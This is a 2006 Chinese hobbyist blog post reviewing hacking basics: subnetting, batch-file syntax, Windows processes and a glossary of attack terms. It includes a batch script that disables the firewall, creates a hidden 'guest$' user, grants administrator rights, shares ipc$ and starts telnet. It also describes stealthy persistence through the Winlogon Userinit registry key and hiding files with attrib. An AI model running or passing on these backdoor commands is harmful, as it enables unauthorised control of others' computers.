[原创]黑客基础知识恶补（未完）

上一篇 / 下一篇 2006-10-12 13:11:41 / 天气: 晴朗 / 心情: 高兴 / 个人分类：原创文章

查看( 817 ) / 评论( 17 )

国庆放假了，想想自己开学以后学到了什么，总感觉基础知识不牢，于是想回顾一下！于是就写出来让菜鸟

们同我一起复习，希望对你们有所帮助！当今这个圈子我们似乎很不幸，为了钱才学习 黑客技术的人太多，于是

乎共享的精神丧失……
   这里我也不想说太多，记得以前也想找个师傅，结果不是要钱的就是被他们所谓的“高技术”忽悠，再就是丢

下一句现在网络上什么都可以学，只要你想学。我晕，虽说如此但至少我们也要个大致的方向吧，这样才更快、

更好地学习黑客知识。渐渐地我也习惯了这些，于是我也开始自学，在这里我向菜鸟们推荐一个好的书《黑客X档

案》，在那里让我学到了许多！
   好了转入正题开始复习基础知识，一些知识也是在网上共享的，当然也要自我分析一下，这样才能够成为我们

自己的东西，哈！
   记得刚开始我是先学习网络的几个协议、IP、局域网的一些知识，于我那个时候就学会了免费上网，破解了一

些网吧的限制！在这里大家或许都知道，我就不多说，我只是想着重说一个局域网网关，怎么算子网掩码并根据

她怎么区分C类子网，校园网就是一个例子。http://bbs.hackbase.com/viewthread.php?tid=3017684&highlight=
   接下来就是一些命令吧，这里我就用一些常用的命令和批处理：批处理顾名思议就是成批的一堆命令，然后按

照顺序来执行的扩展名．BAT的文件文件罢了，她的特点是一次建立可多次执行，用她可以很方便地执行我们想要

的一堆命令！当然她的自我运行也是有条件的，必须满足两个条件：一是文件名为AUTOEXEC．BAT，二是该文件的

位置必须放在启动盘（也可称为系统盘）的根目录下。或许这些你可能在有些网台已经见过，比如网管们想用她

来更新游戏。在这里我估且说是一种语言吧，于是就要学习她的一些语句：
  1）ECHO--显示方式设置，其中ECHO ON是使以后的命令在执行前先显示，ECHO OFF是使以后的命令在执行前不

显示，ECHO MASSAGE 是不论ECHO的状态为ON或OFF，都显示MESSAGE所指定的信息。也是是否显示内容语句，一般

我们是不想让内容显示，所以我们会经常使用他！
  2）REM--注释命令。
  3）PAUSE--暂停系统处理，系统显示Press any key to continue…，等待用户按任意一个键后继续执行。
  4）GOTO--转向子命令，在C中也是跳转语句.
  5）IF--条件子命令。
  6）FOR--循环子命令。
  7）SHIFT--改变参数的位置。(if.for语句不要多说了吧，相信学过C的人一定很了解吧。shift是转换的意思，

在这里就是改变参数）
当然还有@、call，@ 与echo off相象，但它是加在其它命令行的最前面，表示运行时不显示命令行本身。

call 调用另一条批处理文件，这里要注意：如果直接调用别的批处理文件，执行完那条文件后将无法执行当前

文件后续命令！学过C的人或许问怎么没有参数，当然有啊，%在C中常见，比如：%f、%c，这些表示输入出的数据

类型为浮点型和整型！％参数是指在运行批处理文件时在文件名后加的字符串。变量可以从 %0到%9，%0表示文件

名本身，字符串用%1到%9顺序表示。
  接下来我们就来学习一下高级语言：　if 、goto 、choice for　学过C我想这些不是问题，本个学过所以在这

里不多说。if是判断条件是否满足，满足就执行，不满足就执行下一条语句，goto就是跳转命令，意思就是遇到

goto语句将跳到goto 所指定的标号处（标号用 :字符串表示，标号所在行不被执行）
choice我则用的不多，不好说！
  好了下面我们就来个很简单的批处理文件吧！
当然批处理中要用到好多DOS命令，我就不多说，想了解清楚到这看看吧！

新人进`看看对你的帮助大不。（斑竹申精）
常用DOS命令讲解

  在记事本中输入：
  @echo off
  net stop sharedaccess
  net user guest$ heike /add
  net localgroup administrators  guest /add
  net share ipc$
  net start telnet 然后把文件保存为12.bat就行！
最近网上看到一个蛮有意思的批处理文件,是用于记录黑客行踪！
@echo off
　　date /t >>d:\3389.txt
　　attrib +s +h d:\3389.bat
　　attrib +s +h d:\3389.txt
　　time /t >>d:\3389.txt
　　netstat -an |find "ESTABLISHED" |find ":3389" >>d:\3389.txt
然后把文件保存为d:\3389.bat，这里我解释一下命令的意思，date和time是用于获取系统时间的，这样可以让你

知道黑客在某天的某个时刻入侵。“attrib +s +h d:\3389.bat”和“attrib +s +h d:\3389.txt”这两个命令

是用来隐藏3389.bat和3389.txt这两个文件的，因为在登录时，由于会启动d:\3389.bat这个文件，所以会有一个

CMD窗口一闪而过，有经验的黑客应该能判断出这窗口是记录用的，所以他可能会到处找这个记录文件，用了以上

两个命令后，即使他用系统自带的搜索功能以3389为关键字进行搜索，也找不到上面3389.bat和3389.txt这两个

文件，哈哈！很棒吧！至于“netstat -an |find "ESTABLISHED" |find ":3389" >>d:\3389.txt”这个命令则是

记录通过终端的连结状况的，明白了吧！
接下来我们要让系统启动时自动运行d:\3389.bat这文件，我用的方法是修改注册表，依次展开：

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\WindowsNT\CurrentVersion\Winlogon，找到“Userinit”这个键值，

这个键值默认为c:\WINNT\system32\userinit.exe，不知你注意到没有，在最后有一个逗号，我们要利用的就是

这逗号，比如我上面写的3389.bat文件路径为d:\3389.bat，那么我只要在逗号后面加上“d:\3389.bat”即可，

这样启动时3389.bat这文件就会运行，选这个键值的原因是因为它隐蔽，如果是加在Run键值下的话是很容易被发

现的。最后提醒一点，键值末尾的逗号别忘了加上去！
   好了，接下来就是让我们来了解一下系统的一些常见进程和服务！
System  windows系统进程
进程文件:system idle process用于是显示剩余的cpu资源情况，无法删除该进程。
svchost Service Host Process是一个标准的动态连接库主机处理服务，Svchost只是负责为这些服务提供启

动的条件，其自身并不能实现任何服务的功能，也不能为用户提供任何服务。svchost.exe是一个属于微软

windows操作系统的系统程序，用于执行dll文件。这个程序对你系统的正常运行是非常重要的。
smss.exe是微软windows操作系统的一部分。该进程调用对话管理子系统和负责操作你系统的对话注意：

smss.exe也可能是win32.ladex.a木马。该木马允许攻击者访问你的计算机，窃取密码和个人数据。请注意此进程

所在的文件夹，正常的进程应该是在windows的system32和servicepackfiles\i386下面
   ctfmon.exe是microsoft office产品套装的一部分。它可以选择用户文字输入程序，和微软office xp语言

条。这不是纯粹的系统程序，但是如果终止它，可能会导致不可知的问题。
   winlogon.exe是windows域登陆管理器。它用于处理你登陆和退出系统过程。该进程在你系统的作用是非常

重要的。注意：winlogon.exe也可能是w32.netsky.d@mm蠕虫病毒。该病毒通过email邮件传播，当你打开病毒发

送的附件时，即会被感染。该病毒会创建smtp引擎在受害者的计算机上，群发邮件进行传播。该病毒允许攻击者

访问你的计算机，窃取密码和个人数据。请注意此进程所在的文件夹，正常的进程应该是在windows的system32下

面
   wdfmgr.exe是微软microsoftwindowsmediaplayer10播放器的相关程序。该进程用于减少兼容性问题。这不

是纯粹的系统程序，但是如果终止它，可能会导致不可知的问题。还有好多，我就不多说了，我看到冷漠这了个

文章很好，我也仔细的看了，有的是在他那COPY的！
进程知识库http://www.dofile.com/
冷漠【课程】
本人对这些服务还有好多不知道，学习中，当然这些不是能够这么点就能够说完的！
第四个：黑客名词
●特洛伊木马源于古代希腊神话战争，用于木马伪装最终获得胜利，现在多是讲木马就是伪装的可以控制你的

电脑的软件
●肉鸡，顾名思义就是被我们控制的电脑就称肉机！
   跳板一个具有辅助作用的肉鸡，利用这个主机作为一个间接的工具，来入侵其他的主机，并且能够隐藏自

己IP地址的目的入侵行为就称为跳板！
●后门，就是入侵了一台服务器，为了下次再次入侵所做下的动作就简称为后门！
●什么是DDoS？它会导致什么后果？ DDoS也就是分布式拒绝服务攻击。它使用与普通的拒绝服务攻击同样的

方法，但是发起攻击的源是多个！她是利用TCP三次握手而使被攻击主机上有大量等待的TCP连接，导致网络中充

斥着大量的无用的数据包，造成网络拥塞，使受害主机无法正常和外界通讯！
●SHELL，【电脑】壳,是使用者与系统的界面！webshell是web入侵的脚本攻击工具。简单的说来，webshell

就是一个asp或php木马后门，黑客在入侵了一个网站后，常常在将这些asp或php木马后门文件放置在网站服务器

的web目录中，与正常的网页文件混在一起。然后黑客就可以用web的方式，通过asp或php木马后门控制网站服务

器，包括上传下载文件、查看数据库、执行任意程序命令等。
●什么是蜜罐，这个我是在电视中听过。蜜罐好象是故意让人攻击的目标,引诱黑客来攻击,所有攻击者入侵后

,你就可以知道他是如何得逞的,随时了解针对你的服务器发动的最新的攻击和漏洞.还可以通过窃听黑客之间的联

系,收集黑客所用的种种工具,并且掌握他们的社交网络.
● 什么是路由器路由器应该是在网络上使用最高的设备之一了,它的主要作用就是路由选路,将IP数据包正确

的送到目的地,因此也叫IP路由器.
●什么是脚本注入攻击(SQL INJECTION) 所谓脚本注入攻击者把SQL命令插入到WEB表单的输入域或也面请求的

查学字符串,欺骗服务器执行恶意的SQL命令,在某些表单中,用户输入的内容直接用来构造动态的SQL命令,或作为

存储过程的输入参数,这类表单特别容易受到SQL注入式攻击.
  当然还有好多，我就不多说了，网上也有很多，搜一下就知道！
搞了一上午，以后有时间再写！
  （未完）

[本帖最后由 mpf_hgsf 于 2006-10-3 09:17 编辑]